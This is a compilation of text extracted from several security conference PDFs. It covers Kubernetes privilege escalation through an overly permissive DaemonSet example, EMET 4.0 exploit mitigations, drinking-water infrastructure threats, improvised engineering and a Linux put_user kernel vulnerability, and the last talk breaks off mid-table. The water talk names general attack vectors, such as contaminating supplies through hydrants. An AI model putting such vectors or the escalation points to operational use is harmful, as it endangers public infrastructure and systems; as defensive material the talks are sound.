这些应⽤⼴ 泛的 CNI 插件也存在可以提权⾄ Cluster Admin 权限的问题;不过现在都修的差不多了,这块 Palo Alto Networks 的研究员们梳理的最好,⼤家可以看他的结果。 这块也是我去年的意难平呀,可惜当时没钱也没时间搞,其实是⼀个很不错的 bugbounty IDEA。国内的平台 估计也会有同样的问题,不过国内的漏洞赏⾦计划对集群内的权限提升问题并不关注,所以给到的奖励会很 有限,我就不⼀⼀去测了;如果那家的师傅觉得可以给到不错的赏⾦可以和我说⼀下,我来试试看能不能找 到可以提权的点。 本⽂提到的我历史的PPT可以在 https://github.com/neargle/my-re0-k8s-security/tree/main/slide 查看,我把 Palo Alto Networks PPT 也附在⽂末了,⼤家可以参考。第三⽅的PPT我就不放 Github了,有点侵权。 除了 CNI 插件和安全组件,⽇志组件的 DaemonSet 默认配置也经常配置过⼤的权限和挂载过⼤的⽬录,如 很多⼈使⽤ filebeat 配置: apiVersion: apps/v1 kind: DaemonSet node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 7 / 8 metadata: name: filebeat-logsystem namespace: kube-system labels: k8s-app: filebeat spec: template: metadata: labels: k8s-app: filebeat spec: serviceAccountName: filebeat terminationGracePeriodSeconds: 30 hostNetwork: true dnsPolicy: ClusterFirstWithHostNet containers: - name: filebeat image: docker.elastic.co/beats/filebeat:%VERSION% args: [ "-c", "/etc/filebeat.yml", "-e", ] env: - name: ELASTICSEARCH_HOST value: elasticsearch - name: ELASTICSEARCH_PORT value: "9200" - name: ELASTICSEARCH_USERNAME value: elastic - name: ELASTICSEARCH_PASSWORD value: changeme - name: ELASTIC_CLOUD_ID value: - name: ELASTIC_CLOUD_AUTH value: - name: NODE_NAME valueFrom: fieldRef: fieldPath: spec.nodeName securityContext: runAsUser: 0 # If using Red Hat OpenShift uncomment this: privileged: true resources: limits: memory: 200Mi requests: cpu: 100m memory: 100Mi volumeMounts: - name: logpath mountPath: /hostfs/ volumes: - name: logpath node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 8 / 8 hostPath: path: / 归根结底,还是最⼩权限原则的问题。⽼⽣常谈了,但在 Kubernetes 的实践⾥却⼜有很多新的东⻄需要安全 从业者们去把握。这⾥还是有挺多有趣的点的,希望还有机会和⼤家聊聊。
pdf
EMET 4.0 PKI MITIGATION Neil Sikka DefCon 21 ABOUT ME • Security Engineer on MSRC (Microsoft Security Response Center) • I look at 0Days • EMET Developer • I enjoy doing security research on my free time too: http://neilscomputerblog.blogspot.com/ • Twitter: @neilsikka OVERVIEW 1. What Is EMET? 2. New Features in EMET 4.0 3. EMET Architecture 4. PKI Feature In Depth 5. PKI Demo WHAT IS EMET? • Mitigates various exploitation techniques • Not signature based—behavior based • Things like stopping shellcode from reading Export Address Table etc • DLLs dynamically loaded at runtime • No application recompiling/redeploying necessary • Can help mitigate 0Days • Works on all supported Windows Platforms on x86/amd64 • Giving back to the security community • Its Free COMPATIBLE APPLICATIONS The logos and products mentioned herein may be the trademarks of their respective owners. CHANGES BETWEEN EMET 3.0/4.0 • We added Certificate Trust (PKI) Mitigations  • Our first non memory corruption mitigation • ROP Mitigation • Some ROP Hardening (Deep Hooks, Antidetours, Banned Functions) • New GUI EXPLOIT MITIGATIONS • DEP • Call SetProcessDEPPolicy • HeapSpray • Reserve locations used by heap sprays • Mandatory ASLR • Reserve module preferred base address, causing loader to load module somewhere else • NullPage • Reserve first memory page in process, defense in depth • EAF • Filter shellcode access to Export Address Table (kernel32 and ntdll) • BottomUp Randomization • Randomize data structure bases MORE EXPLOIT MITIGATIONS • SEHOP-validate SEH chain looking for _EXCEPTION_REGISTRATION structure whose prev pointer is -1 • ROP Hardening (new in 4.0) • Deep Hooks-protect critical APIs and the APIs they call • AntiDetours-protect against jumping over detoured part of a function • Banned Functions-disallow calling ntdll!LdrHotpatchRoutine ROP • Stands for Return Oriented Programming • Bypasses DEP (Data Execution Prevention) • Attacker call stack injected into user controlled portion of memory • Attacker stack has return pointers that point to “gadgets” in executable modules loaded in memory • These specifically selected gadgets have a few instructions followed by a ret • These ret instructions then return to the location pointed to by the next pointer in the attacker stack • Functions like VirtualProtect are commonly ROP’ed to • Requires “Stack Pivot” to make x86 ESP register point to attacker call stack ROP MITIGATIONS (NEW IN 4.0) • ROP (Detour functions that are commonly ROP’ed to) • LoadLib • Make sure we are not trying to call LoadLibrary() on a network location • MemProt • Make sure we aren’t making stack pages executable • Caller • Make sure return address on stack was proceeded by a call • Make sure we didn’t ret to this function • SimExecFlow • Make sure we don’t ret to ROP gadgets • StackPivot • Make sure Stack Pointer (ESP) is between stack limits defined by TIB EMET ARCHITECTURE … EMET_Agent.exe (Tray Icon, Logging, PKI) EMET.dll EMET_CE.dll EMET.dll EMET.dll Inter-process Communications WHAT IS PKI? • A public-key infrastructure (PKI) is a set of hardware, software, people, policies, and procedures needed to create, manage, distribute, use, store, and revoke digital certificates. --Wikipedia • Used to ensure confidentiality, integrity and attribution online • Communication with bank websites and other secure communications online depend on PKI • PKI is the basis of HTTPS PKI HIERARCHY End Entity Intermediate Certification Authority Root Certification Authority Root Certificate Intermediate Certificate End Certificate End Certificate Intermediate Certificate End Certificate We can verify that each certificate is signed by a parent by looking for a digital signature of the parent on the child certificate. RECENT SSL/TLS INCIDENTS • December 2008- MD5 proven weak (Sotirov/Stevens) • March 2011- Comodo CA signs 9 fraudulent certificates • August 2011- Diginotar signs at least 1 fraudulent certificate • November 2011- DigiCert issues 22 certs with 512 bit keys • January 2013- TURKTRUST creates 2 issues fraudulent CAs and a certificate PKI CERTIFICATE PINNING Pinning is when we enforce certain assumptions or expectations about certificates that we get from the internet RELATED WORK • TACK (Marlinspike, Perrin): requires TLS changes, pins to TACK signing key • Convergence (Marlinspike): based on Perspectives project, new protocol • DANE/TLS (RFC 6698): requires DNS changes • HSTS (RFC 6797) + Draft ietf websec key pinning (Evans, Palmer, Sleevi): pins to SubjectPublicKeyInfo hash, requires HTTP changes, used in Chrome EMET’S DESIGN GOALS • Our goals in EMET PKI design were the following: 1. Give control to users • Users specify the certificates • Users specify the domain names • Users specify the heuristic checks 2. Don’t require changes to pre-existing protocols/new protocols • This could break something • This would require adoption by the rest of the internet 3. Keep EMET as a standalone tool on the client and not depend on remote services • In order to achieve these goals, we had to make tradeoffs that existing designs didn’t have to make EMET’S APPROACH • Requires no protocol changes • Pins to Root Certificates, not Intermediate Certificates • Pins to certificates in the Current User’s “Trusted Root Certification Authorities” store • Identifies certificates by either: • <Issuer, Serial #> Tuple OR • Subject Key Identifier (SHA-1 of subjectPublicKey) CERTIFICATE IDENTIFICATION • Certificates can be identified by <issuer, serial #> tuples • According to RFC5280: “the issuer name and serial number identify a unique certificate” • Identifying a specific certificate is more rigid (restrictive) • Certificates can be identified by Public Key • Some certificates chain to roots which share the same public key • EMET optionally allows certificate identification by only Subject Key Identifier (SHA-1 of hash of Public Key) EMET PKI PINNING ARCHITECTURE Pinned Site Pinned Site Pinned Site Pinned Site Pin Rule … Cert Cert Cert … login.skype.com secure.skype.com MSSkypeCA Baltimore CyberTrust Root Verisign GlobalSign GTE CyberTrust Global Root Default Configuration Example Architecture WINDOWS CAPI EXTENSION • Implemented in EMET_CE[64].dll • EMET_CE.dll loaded inside the process • Communicates with EMET_Agent.exe, and passes it the entire certificate chain including the Root and End certificates hex encoded in XML • EMET_Agent.exe decides whether the cert is OK or not CryptRegisterOIDFunction() is called with following parameters: CRYPT_OID_VERIFY_CERTIFICATE_CHAIN_POLICY_FUNC, CERT_CHAIN_POLICY_SSL, EXPORT_FUNC_NAME CERTIFICATE CHECKS 1 • If none of the following matches a Pinned Site’s Domain Name, pass because this domain is not configured • Server Name of HTTPS connection • End certificate’s Subject Name • End certificate’s Subject Simple Name • End certificate’s Subject DNS Name • End certificate’s Subject URL Name • Any Subject Alternative Name on End certificate • Is Pin Rule Expired? • If yes, fail CERTIFICATE CHECKS 2 • Either (Depending on Configuration) • Is Subject Name of root AND Serial Number of root equal to that in a pinned Root Store certificate? • If yes, pass OR • Is root Subject Key Identifier equal to that in a pinned Root Store certificate? • If yes, pass CERTIFICATE CHECKS 3 (EXCEPTIONS) • Is root Public Modulus Bit length < Pin Rule’s allowed length? • If yes, fail • Is root Digest Algorithm disallowed by the Pin Rule? • If yes, fail • Is root country equal to the Pin Rule’s Allowed Country? • If no, fail DEFAULT PROTECTED DOMAINS • Shipped in CertTrust.xml • Enabled by “Recommended Settings” in wizard • Microsoft Protected Domains: • login.microsoftonline.com • secure.skype.com • login.live.com • login.skype.com • 3rd Party Protected Domains: • www.facebook.com • login.yahoo.com • twitter.com LIMITATIONS • Mitigation is specifically for SSL/TLS • Since we just check End and Root Certificates, we don’t run heuristics on intermediate certificates • Pin configuration is statically shipped with EMET, so they could get outdated • If spoofed certificate chained to same root certificate as original, it might not be caught • EMET’s mitigations are not 100% “bullet proof” • They just try to raise the bar for attackers Recorded or Live? REFERENCES • ntdll!LdrHotpatchRoutine • http://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf • MD5 Harmful (Sotirov/Stevens) • http://www.win.tue.nl/hashclash/rogue-ca/ • TACK (Marlinspike, Perrin) • http://tack.io/draft.html • Convergence (Marlinspike) • http://convergence.io/ • DANE/TLS RFC 6698 • http://tools.ietf.org/html/rfc6698 • HSTS RFC 6797 • http://tools.ietf.org/html/rfc6797 • Chrome’s Public Key Pinning Extension (Evans, Palmer, Sleevi) • http://tools.ietf.org/html/draft-ietf-websec-key-pinning-07 • X509 RFC 5280 • http://tools.ietf.org/html/rfc5280 • More Information about Memory Corruption Mitigations in EMET 4.0: • http://www.recon.cx/2013/slides/Recon2013-Elias%20Bachaalany-Inside%20EMET%204.pdf • ROP Explanation: • http://www.neilscomputerblog.blogspot.com/2013/04/rop-return-oriented-programming.html • http://www.youtube.com/watch?v=Vyi8b3VOw9M Download EMET 4.0: http://www.microsoft.com/en- us/download/details.aspx?id=39273 QUESTIONS ABOUT EMET ?
pdf
Cyberterrorism & the Security of the National Drinking Water Infrastructure John McNabb [email protected] DEF CON 18 July 31, 2010 1 Introduction • IT Pro, 5 years; have a few certs…. • Water Commissioner, 13 years, 1997-2010 • Mass. DEP 6 years, 1983-1986, Legislative Liaison • Clean Water Action, 10 years, 1999 - 2009 Speaker: The Next HOPE- “Electronic Take Back,” Phreaknic 14 “Environmental Impacts of the IT Industry” Speaker: • NEWWA Conferences, 2007 - 2009 • AWWA, National Water Security Congress, 2009 Publication: June, 2010 NEWWA Journal Objective of this talk: To make a realistic assessment of the potential of a terrorist attack, cyber or kinetic, against US public water systems. NOTE: Nothing will be presented here to assist anyone seeking to attack drinking water systems. Only information from open sources will be presented. The objective of this presentation is to improve the protection of public water systems from attack. DISCLAIMER: the views expressed are my own, not of any organization of which I am a member What the #@#!! is a Water Commissioner? • Its a New England thing • Elected position, usually 3 Commissioners, 3 year term • In most other places the Water Dept. is part of the DPW, run by an appointed Superintendent • Policy-making, managerial, not day to day • Budget, rate increases, etc. 3 Outline • Definitions • Threats to Drinking Water • National Water Infrastructure Issues • Components of a Single Water System • SCADA Security Issues • Public water vulnera- bilities & programs • Conclusions 4 Definitions • Public Water System • SCADA: Supervisory Control And Data Acquisition;  Process Control Systems,  Distributed Control Systems • Critical Infrastructure [drinking water is a critical infrastructure] • Cyberterrorism 5 How Important is Drinking Water? • Water is essential for public health • Infrastructures that are dependent on drinking water: Agriculture Food Public Health Emergency Services Government National Defense Industrial Information & Telecommunications Energy Transportation Banking & Finance Chemical Industry & Hazardous Materials Postal & Shipping National Monuments 6 Drinking water has been the target of attacks for thousands of years • 500 BC, Assyrians poisoned the wells of their enemies with rye argot. • 1462, Vlad the Impaler burned villages and poisoned his own wells to deny them to the invading Turks. • In 1844, a mob destroyed a reservoir in Mercer County, Ohio, they considered it a health hazard. • 1907-1913, Los Angeles aqueduct was bombed to prevent diversion of water Owens Valley to LA. • 1939-1942, Japan’s Unit 73 poisoned wells and reservoirs with typhoid and other pathogens. • 1977, North Carolina reservoir was poisoned with an unknown substance • 1992, Turkey, potassium cyanide found in Turkish Air Force water ; Turkish Workers Party takes credit. • 1998-1999, Kosovo, Serbs dispose of bodies in wells to poison them • 2003, Michigan, four incendiary devises found in water bottling plant; ELF claims responsibility • 2006, Sri Lanka, Tamil Tiger rebels cut the water supply for government held villages; government then attacks the reservoirs 7 There have been terrorists threats to poison US public water supplies • 1972 – Order of the Rising Sun, Chicago, typhoid cultures • 1985 - Covenant Arm & Sword of the Lord, Arkansas, potassium cyanide • 2001 - FBI warning of a “North African terror group” threat to 28 US water supplies • 2002 – FBI arrests two Al Qaeda suspects with papers on poisoning US water supply • 2003 – Al-Qaeda in Saudi magazine does not rule out “poisoning of drinking water” in US • 2003 - Handwritten notes seized from the Al Qaeda Tarnak Farms, Afghanistan showed plans to poison drinking water with pathogens • 2003 – Greenville, North Carolina, ricin found at Post Office with threat to water supply • 2008 – Al Qaeda website calls on members to attack US water supplies. 8 Terrorists do have some cyber capability • Al Qaeda has computer training centers • Al Qaeda has people with IT skills • Al Qaeda uses the internet to connect their loosely interconnected separate cells across the world • They perpetrate cybercrime to raise funds • There is no evidence that Al Qaeda has perpetrated a cyber attack on a water facility, or any facility, or plans to do so. • Evidence seems to suggest that Al Qaeda uses the internet extensively for: -organizing, -propaganda, disinformation , -management of their organization, -raising funds, and -stealing money, but -not for cyber terrorism itself, yet • That, of course, could change…. 9 There have been some cyber attacks on water systems • 1994 – Salt River Project water dept., Arizona • 2000 – Maroochy Water System, Australia • 2006 – Harrisburg, PA water treatment plant • 2007 – Tehema Colusa Canal Authority, California • 2009 – Cyber incidents in water systems have increased by 30% (RISI) 10 Public water system strategic advantage: fragmented infrastructure • There are 155,693 public water systems, serving 286 million Americans. • The systems are varied, heterogeneous, run by variety of small-large local governments • This ‘fragmentation’ is seen as a disadvantage for efficient management national water usage • 8% of U.S. water systems (12,445) provide water to 82% of the U.S. population • 0.2% of US water systems (404 ) are large systems that serve 46% of the population • Some water ‘conglomerates’ • No one ‘infrastructure’; there are just many independent, individual systems • Contrast that with the national electric infrastructure which is interconnected • An attack on any one node of an electric grid could take that entire grid down • Any attack on a single water system is limited to that system. 11 Water Conglomerates • American Water. - Largest private US water provider - Operates in 35 states - Serves 15 million people in 1,600 communities • United Water – 7 million • Aquarion – 3 states 12 Water system interdependencies • The operation of a public water system depends on many factors outside of it’s control • Electrical power is clearly the most pervasive; many have backup power, many do not • But, the treatment chemicals used is a critical factor … especially Chlorine 13 Public water systems vulnerability: Concentration of chlorine production • Geographic concentration of critical infrastructures is a strategic vulnerability. • Treatment chemicals could be contaminated ,as a potential vector of attack • Treatment chemicals include potassium permanganate, lime, ferric chloride, & chlorine • 84% of large water systems use chlorine • Chlorine production is concentrated: • 38% of all US chlorine production is in coastal Louisiana. • A few well placed bombs at plants & railways could stop the shipments of chlorine and shut down a large percentage of drinking water supplies. • Al Qaeda has considered directly attacking US rail lines • A n attack on chlorine production plants could potentially shut them down or damage them. • Or… the chlorine could be intentionally contaminated in the production plant or in transit; there are a few potential substances that could be effective for this. 14 Types of Attacks • Public water systems are vulnerable to 4 types of attacks: (1) Chemical contamination (2) Biological contamination (3) Physical disruption (4) Disruptions of SCADA • Chemical, biological & radiological (CBR) contamination must meet this criteria: 1. Weaponized, meaning it can be produced and disseminated in large enough quantities to cause desired effect. 2. Water threat, meaning it is infectious or toxic from drinking water. 3. Stable, meaning the agent maintains it structural and virulent effects in water. 4. Chlorine resistant • There is a short list of CBR that are plausible to cause mass casualties • Also can be a combination attack 15 Public water system components 16 Goal of PWS is to produce water: (1) P -With sufficient pressure; (2) S - Safe to drink; and (3) A - Available on demand Source of Water Supply • Two main sources: - reservoirs (surface water; watershed) - wells (ground water, aquifer) • Reservoirs range in size from a few acres to the largest, Lake Mead – 247 million square miles, 9.28 trillion gallons • Wells draw water from aquifers, underground lakes. They range in size from just a few acres to hundreds of square miles. Ogalla Aquifer in US, covers 174 million square miles over 5 states • Large sizes are both impossible to secure but also regarded as impractical to effectively poison • For example, Dillon Reservoir in Denver has 83 billion gallons of water; contaminating to just 10 parts per million would require 830,000 gallons of contaminant - a fleet of over 55 tanker trucks with 15,000 gallons • Many instances of accidental contamination, such as Milwaukee 1993 , & the Walkerton Ontario 2000 ecoli contamination • Also, since the water is later treated, limits the effectiveness, if any, of toxins added to supply • Instrumentation: some systems remotely monitor water quality in source area, also water flow, streamflow monitored • “The amount of contaminant required to permeate the whole [source water] system would, after taking dilution into account, either be too large to handle…or far more expensive than other terrorist weapons.” 17 Water Treatment Plant • Typical water treatment process: - From source water - Intake, raw water pumps - Raw water well - Coagulation - Flocculation - Chemical addition - Filtration - Chlorination - Clearwell, finished water pumps - To distribution system • Monitored and controlled by SCADA • Instrumentation includes flow meters, chemical addition pumps, variable frequency pumps, chemical sensors • Usually in buildings, alarmed, with fencing - except for this plant in Florida, no building! • Each plant is unique • Clearwell is most vulnerable spot; water goes directly into the distribution system, so this is the most vulnerable point in treatment. • However, dilution would occur as the slug of contaminated water passed through the distribution system 18 Finished Water Storage • Types of water storage: - tanks (steel, concrete) - reservoirs (covered, uncovered) • Remote facilities • Since 9/11, most have fences, locks, video cameras, alarms • Since its after treatment, one of most vulnerable points • Dilution factor still would require massive amounts of toxin, dropped in from top of tank, difficult • Instrumentation- telemetry to monitor height of water in tank, connected to SCADA by phone, radio, or internet 19 Water Distribution System • Distribution system includes: - distribution mains (4” – 24” diameter, iron, ductile iron, plastic, prestressed concrete, asbestos cement) - transmission mains (12” – 30” diameter) - fire hydrants - valves & gates - blow offs • 1.8 million miles of water pipes in the US • 6 - 12 million Fire Hydrants in US (best estimate) • Contaminants could be pumped into hydrants, or from end user homes or hydrants, via pressure tanks for lawn chemicals; cost only 80 cents per lethal dose; best for targeted attack • Various ways to lock hydrants, could impede fire protection response, give false sense of security. • Install check valve to block input into the hydrant • Backflow prevention devices (BFPD) in building can protect them, unless the BFPD is bypassed • Instrumentation: some have remote monitoring of water quality, especially chlorine residual • Most vulnerable component of water system 20 Water Commissioners day to day problems • Water main breaks • Discolored water • Unpaid water bills • Aging infrastructure • Maintenance • New regulations • Vandalism • Getting more money • …. terrorism is not even in the top ten! 21 SCADA - System Operation • In my system we upgraded a few years ago from the old-fashioned electro-mechanical process control system to SCADA • Supervisory Control And Data Acquisition • Central control is usually from a Windows XP or Server 2003 box • Takes input from PLCs in plants & remote facilities • Usually connected through off the shelf Ethernet wire, routers, switches, etc. • Usually has some internet connectivity for the SCADA network, to remote sites like pump stations, wells, tanks 22 SCADA: Vulnerabilities • 76% of respondents with SCADA/ICS responsibilities said their networks were “connected to an IP network or the Internet.” • 47% admitted that the connection created an “unresolved security issue.” • SCADA ports are being scanned from all over the world – why? • Test bed studies show that external attackers can penetrate systems, brick the box, etc. • Chinese researcher has detailed how attack on US power grid could cause cascading failure to shut entire grid down! 23 SCADA cybersecurity incidents • Cybersecurity SCADA incidents are increasing • Majority of cybersecurity incidents occur in critical infrastructure • Water/wastewater incidents increased 367% • 22% are targeted attacks, rest are mostly malware • Cyber attacks sometimes severe – caused multi-city power outages outside US • US electric grid known to be repeatedly penetrated 24 The first SCADA-specific malware • W32.Stuxnet • Exploits hard coded default password • Exploits Windows .Lnk files • Propagates via USB flash drives, maybe network shares • Targets are Siemens’ SIMATIC WinCC and PCS7 SCADA software • Used in drinking water treatment plants, electrical, manufacturing, others • Don’t know extent of potential exposure to drinking water systems • Appears to be industrial espionage; malware extracts process data, maybe HMI screens, also gives attacker control over the system. • Hit thousands of computers worldwide • Siemens is distributing Sysclean, from TrendMicro, which detects and cleans the malware 25 Potential impacts of a cyber attack on a public water system SCADA • Interfere with operations • Make unauthorized changes to programmed instructions • Block data • Send false information • Change alarm thresholds • Prevent access to account information 26 What is the extent of the cyber & kinetic risk to public water systems? • Bottom line: it is too big and too exposed to protect 100% • Fragmentation limits effects of any attack to a single system; no cascade as in electric grid • Has many redundancies, but there are some ‘single points of failure’ • Major $350B national shortfall in funds for improvements for the crumbling infrastructure • There are frequent unintentional contamination of water systems, but few intentional, because of the difficulty • I’d be more worried about bombs than cyber attacks, but can’t rule cyber attacks out • While vulnerabilities exist, most incidents are from vandalism, not terrorism 27 What is being done to protect public drinking water systems? • Bioterrorism Act of 2002 • Vulnerability Assessments • Homeland Security grant programs • Water Infrastructure Security Enhancements (WISE) Program • Water Information Sharing and Analysis Center (ISAC) • Infragard • Open SCADA Security Project • SCADA Honeypot • SCADA Testbeds • SANS • Cyber Shockwave 28 What still needs to be done? • At least $1 - $1.6 Billion is needed for public water systems to implement recommended security improvements. • All water systems need funding to implement real-time monitoring of water in the distribution system. • There must be EPA-required federal standards or agreed upon industry practices regarding readiness, response to incidents, or recovery, for public water systems. • These standards should incorporate the “21 Steps to Improve Cyber Security of SCADA Networks” • The Homeland Security Department branch that monitors cyber attacks needs the authority to force other agencies to protect their systems, needs more staff, and needs continuity of leadership. 29 Conclusions • Public water systems are attractive targets of attack. • Terrorist have, and can be expected to continue to, threaten to attack US public water supplies. • Terrorists have cyber capability and use the internet. • There have been cyber attacks on water systems, and many cyber incidents on SCADA on critical infrastructure. • The concentration of chlorine production in the US is a strategic vulnerability affecting all public water systems. • SCADA systems have numerous vulnerabilities. • A kinetic and/or cyber attack on a water system SCADA system can shut it down or alter water quality. • Distribution system is the most vulnerable component, relatively easy to attack and difficult to defend against. • While progress has been made in hardening public water systems, more than $1 billion is needed to fund needed security upgrades and federal authority to require cyber and physical improvements needs to be established. • A cyber terrorist attack on public water systems does not appear imminent, but cannot be ruled out in the future. • Contact me: [email protected] 30
pdf
*** Check out http://fort.ninja/defcon24 for the latest version of this information *** @evanbooth Shotgun Of RANDOM ™ http://fort.ninja/defcon24#shotgun Finding Potential throughout history… George Washington Carver Foods Salted Peanuts Peanut Butter, regular (3) Breakfast Food #1 Butter from Peanut Milk Breakfast Food #2 Pancake Flour Breakfast Food #3 Peanut Flour (11) Breakfast Food #4 Peanut Surprise Breakfast Food #5 Malted Peanuts Bisque Powder Peanut Meal, brown Peanut Meal #1 and #2 Meat Substitutes Chocolate Coated Peanuts Chili Sauce Peanut Cake #1 and #2 Peanut Brittle Dry Coffee Cream Candy Instant Coffee Peanut Flakes (2) Peanut Hearts Chop Suey Sauce Mock Oysters Mayonnaise Worcestershire Sauce Peanut Meat Loaf Peanut Food #1 Shredded Peanuts Peanut Sprouts Peanut Bisque Powder Peanut Tofu Sauce Cooking Oil Cream for Milk Salad Oil Buttermilk Mock Meat Mock Goose Mock Duck Mock Chicken Mock Veal Cut Milks (32) Curds Vinegar Crystallized Peanuts Peanut Relish #1 Peanut Sausage Peanut Relish #2 Flavoring Paste Peanut Chocolate Fudge Oleomargarine Peanut and Pop Corn Bars Dehydrated Milk Flakes Peanut Bar #1 Caramel Peanut Tutti Frutti Bars Butterscotch Lard Compound Evaporated Milk Sweet Pickle Golden Nuts Cheese Cream Substitute Asparagus Cheese Pimento Cheese Nut Sage Cheese Tutti Frutti CheeseSandwich White Pepper, from Vines Pickle, Plain Cocoa Peanut Dainties Peanut Kisses Bar Candy Peanut Wafers Stock Foods Peanut Stock Food #1,#2, and #3 Peanut HullMeal Peanut Hull Stock Food Molasses Feed Peanut HullBran Peanut Hay Meal Hen Food for laying (peanut hearts) Peanut Meal (3) Household Products Laundry Soap Sweeping Compound Beverages Peanut Orange Punch #1 Peanut Lemon Punch Peanut Koumiss Beverage Peanut Punch #2 Normal Peanut Beverage Beverage for Ice Cream Peanut Beverage Flakes Blackberry Punch Plum Punch Evaporated Peanut Beverage Cherry Punch Pineapple Punch Medicines Rubbing Oil Iron Tonic Tannic Acid Medicine similar to Castor Oil Emulsion for Bronchitis Castor Substitute Goiter Treatment Oils, Emulsified w/mercury for Venereal Disease (2) Quinine Laxatives Cosmetics Hand Lotion Face Lotion Face Cream Vanishing Cream Face Bleach and Tan Remover Baby Massage Cream Shampoo Oil for Hair and Scalp Shaving Cream Pomade for Scalp Face Ointment Glycerine Face Powder All Purpose Cream Fat Producing Cream Tetter and Dandruff Cure Toilet Soap Antiseptic Soap Pomade for Skin Peanut Oil Shampoo Dyes, Paints and Stains Dyes for Leather Dyes for Cloth (30) Wood Stains (17) Paints Special Peanut Dye General Fuel Bricketts Paper (white) from vines Paper (colored) from vines Paper (kraft form hulls) Paper (newsprint) form vines Paper (coarse) form skins Insecticide Glue Gasoline Gas Wood Filler Metal Polish Plastics Axel Grease Lubricating Oil Illuminating Oil Diesel Fuel Printers Ink Writing Ink Rubber Coke (from hulls) Washing Powder Cleanser for hands Linoleum Wall Boards (from hulls) (11) Insulating Board (18) Sizing for Walls Charcoal from shells Nitroglycerine Soil Conditioner Soap Stock Shoe and Leather Blacking http://www.tuskegee.edu/about_us/legacy_of_fame/george_w_carver/carver_peanut_products.aspx “Special Period in Time of Peace” http://www.pbs.org/newshour/updates/bizarre-brilliant-useful-inventions-cuban-diy-engineers/ RIKIMBILI http://www.pbs.org/newshour/updates/bizarre-brilliant-useful-inventions-cuban-diy-engineers/ http://www.pbs.org/newshour/updates/bizarre-brilliant-useful-inventions-cuban-diy-engineers/ http://www.pbs.org/newshour/updates/bizarre-brilliant-useful-inventions-cuban-diy-engineers/ http://www.pbs.org/newshour/updates/bizarre-brilliant-useful-inventions-cuban-diy-engineers/ “The Book for the Family” “With Our Own Efforts” Aurika Washer/Dryer “Houston, we have a problem…” Ed Smylie, Crew Systems Division “When we found out we had duct tape on board...we were pretty well home free.” personal work… Rules Can only use materials that can be sourced inside the terminal after the security screening 1. Walk in with nothing but cash and a small, travel-approved multitool 2. Anything you’d get yelled at for taking or messing with is off limits 3. Let’s Go Shopping! LaGuardia (LGA) John F. Kennedy International (JFK) Ronald Reagan National (DCA) Raleigh-Durham International (RDU) Charlotte Douglas International (CLT) Amsterdam Schiphol (AMS) London Heathrow Airport (LHR) Phoenix Sky Harbor International Airport (PHX) Detroit Metro Airport (DTW) George Bush Intercontinental Airport (IAH) http://fort.ninja/defcon24#terminal http://fort.ninja/defcon24#shack-approach http://fort.ninja/defcon24#shack-automation http://fort.ninja/defcon24#shack-relay http://fort.ninja/defcon24#shack-security In a keurig… common internals WorPaW Worst Part of Waking Up http://fort.ninja/defcon24#worpaw DeBBUG Delicious Beverage-dispensing Badge of Unmitigated Glory http://fort.ninja/defcon24#debbug pewcolator Pew! Pew! [hero photo] http://fort.ninja/defcon24#pewcolator http://fort.ninja/defcon24#hedberg-proto1 http://fort.ninja/defcon24#hedberg-proto2 http://fort.ninja/defcon24#hedberg-proto3 hedberg Bionic Transradial Prosthesis [hero photo] http://fort.ninja/defcon24#hedberg in conclusion… execution stuff CA glue <3 Baking Soda This is not a fast process. When building with imprecise and/or unknown final measurements, don’t be greedy with the material. Don’t forget about structure. Fail. Fail. A LOT. why “macgyver” stuff? Improved critical thinking skills Practical engineering XP++ parting challenge: never stop building stuff Your quirky, offbeat, “too much time on your hands” side project doesn’t have to measure up to anything… You don’t have to change the world to establish a precedent. …it just has to be done. NO ONE CAN UNDO THAT. thanks! @evanbooth
pdf
Devil&is&in&the&Details:&Revealing&How& Linux&Kernel&put_user at&Risk Edward&Lo&and&Chiachih Wu C0RE&Team About&Us • 羅元琮 (Edward) – 奇虎 360&安全研究開發工程師 – 專職內核漏洞挖掘與利用 – “360&超級 ROOT”&技術負責人 • 吳家志 (@chiachih_wu) – 奇虎 360&安全研究開發工程師 – Android/Linux 系統安全研究 – C0RE&Team&(c0reteam.org)&創始成員 CVE-2013-2094&(perf_swevent_init) CVE-2013-2597&(acdb) In&the&Summer&of&2013&… CVE-2012-4220&(diag) CVE-2012-6422&(ExynosAbuse) Nothing&Beats&HTC&Desire&V&(t328w)! CVE-2013-6123&(video100) cvedetails.com cvedetails.com CVE-2009-2848 put_user(x,&addr)&on&ARM32 • “addr”&is&checked&by&Hardware&with& STRT/STRBT/STRHT&Instructions • When&CONFIG_CPU_USE_DOMAINS&is&not&set,& put_user()&=&Arbitrary&Memory&Write In&the&Spring&of&2014&… What&if&I&do&“grep –r&__put_user *”&? CAUTION:&__put_user.*()&=&Arbitrary& Memory&Write Timetable Date Event put_user of/ Upstream/ Kernel/ put_user of Android/ Kernel __put_user_*/ w/o/explicit/ address/ validations 2010-11-04 T&macro&and&CONFIG_CPU_USE_DOMAINS&is& upstreamed& Vulnerable Vulnerable Vulnerable 2012-01-25 T&macro&is&renamed&to&TUSER Vulnerable Vulnerable Vulnerable 2012-09-09 !CONFIG_CPU_USE_DOMAINS&case&is&fixed Vulnerable Vulnerable 2013-07 put_user&vulnerability&is&identified&by&us& through&clone() Vulnerable Vulnerable 2013-09-11 The&incomplete&patch&to&fix&__put_user_*& vulnerability&is&upstreamed Vulnerable Vulnerable 2013-11-14 Most&Android&OS&maintainers&start&merging&the& patch&to&fix&!CONFIG_CPU_USE_DOMAINS&case& (CAF&disclose&the&details&of&CVE-2013-6282) Vulnerable 2016-7-31 __put_user_*&vulnerability&is&identified&by&us& through&code/patches&auditing Vulnerable 0-day • We&identify&a&0-day&in&the&ARM/Linux&kernel& (CVE-2016-3857) (cont’d) • Up&to&present&we&have&identified&that&two& Google&Nexus&phones&are&vulnerable:&Nexus&4,& and&Nexus&7&(2013&version) • Besides,&the&Huawei&Honor&4X/6/6&Plus&series,& Huawei&Ascend&Mate7&series,&and&some&other& models&of&Huawei,&Lenovo,&Meizu,&OPPO,& Samsung,&Sony,&Xiaomi devices&are&also& vulnerable (cont’d) Vendor Series Model Google Nexus Nexus&4&(“mako”),&Nexus&7&(“flo”) Huawei Ascend&Mate&7 MT7-CL00/TL00/TL10/UL00 Mate&1&/&2 MT1-T00&/&MT1-U06&/&MT2-C00&/&MT2-L01… Honor&4X 